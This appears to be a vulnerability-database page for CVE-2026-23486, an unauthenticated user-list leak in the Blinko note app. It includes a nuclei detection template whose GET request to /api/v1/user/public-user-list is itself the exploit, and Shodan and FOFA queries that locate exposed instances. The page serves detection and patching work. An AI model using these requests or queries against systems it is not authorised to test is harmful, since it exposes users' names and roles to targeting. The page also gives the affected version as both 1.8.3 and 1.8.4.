Browse / CVEs / CVE-2026-23486
CVE-2026-23486· blinkospace / blinko· CWE-200
Blinko <= 1.8.3 - User Information Leak
lowseverity
5.3CVSS score
0.7%likelihood of exploitation, next 30 days
55%of all CVEs are less likely
Readycheck to confirm it
Blinko <= 1.8.4 contains an information disclosure caused by a publicly accessible endpoint exposing user information including usernames, roles, and account creation dates, letting remote attackers access sensitive user data, exploit requires no special privileges.
Impact
Remote attackers can access sensitive user information, potentially leading to privacy violations and targeted attacks.
Fix
Update to version 1.8.4 or later.
How to confirm it
Send: GET {{BaseURL}}/
Positive when: status_code == 200 and contains_all(body, "<title>Blinko</title>", "Blinko self-hosted personal note")
Send: GET {{BaseURL}}/api/v1/user/public-user-list
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "\"name\":", "\"role\":")Run it with nuclei: nuclei -id CVE-2026-23486 -u <target>
The full check
id: CVE-2026-23486
info:
name: Blinko <= 1.8.3 - User Information Leak
author: 0x_Akoko
severity: low
description: |
Blinko <= 1.8.4 contains an information disclosure caused by a publicly accessible endpoint exposing user information including usernames, roles, and account creation dates, letting remote attackers access sensitive user data, exploit requires no special privileges.
impact: |
Remote attackers can access sensitive user information, potentially leading to privacy violations and targeted attacks.
remediation: |
Update to version 1.8.4 or later.
reference:
- https://github.com/blinkospace/blinko/security/advisories/GHSA-446p-2xf5-frxf
- https://github.com/blinkospace/blinko
- https://nvd.nist.gov/vuln/detail/CVE-2026-23486
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cwe-id: CWE-200
cve-id: CVE-2026-23486
epss-score: 0.00727
epss-percentile: 0.54493
metadata:
verified: true
max-request: 1
vendor: blinkospace
product: blinko
fofa-query: title="Blinko"
shodan-query: http.title:"Blinko"
tags: cve,cve2026,blinko,exposure,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "<title>Blinko</title>", "Blinko self-hosted personal note")'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/api/v1/user/public-user-list"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"name\":", "\"role\":")'
condition: andReferences
- https://github.com/blinkospace/blinko/security/advisories/GHSA-446p-2xf5-frxf
- https://github.com/blinkospace/blinko
- https://nvd.nist.gov/vuln/detail/CVE-2026-23486
Use this check only on systems you are authorised to test. Where the data comes from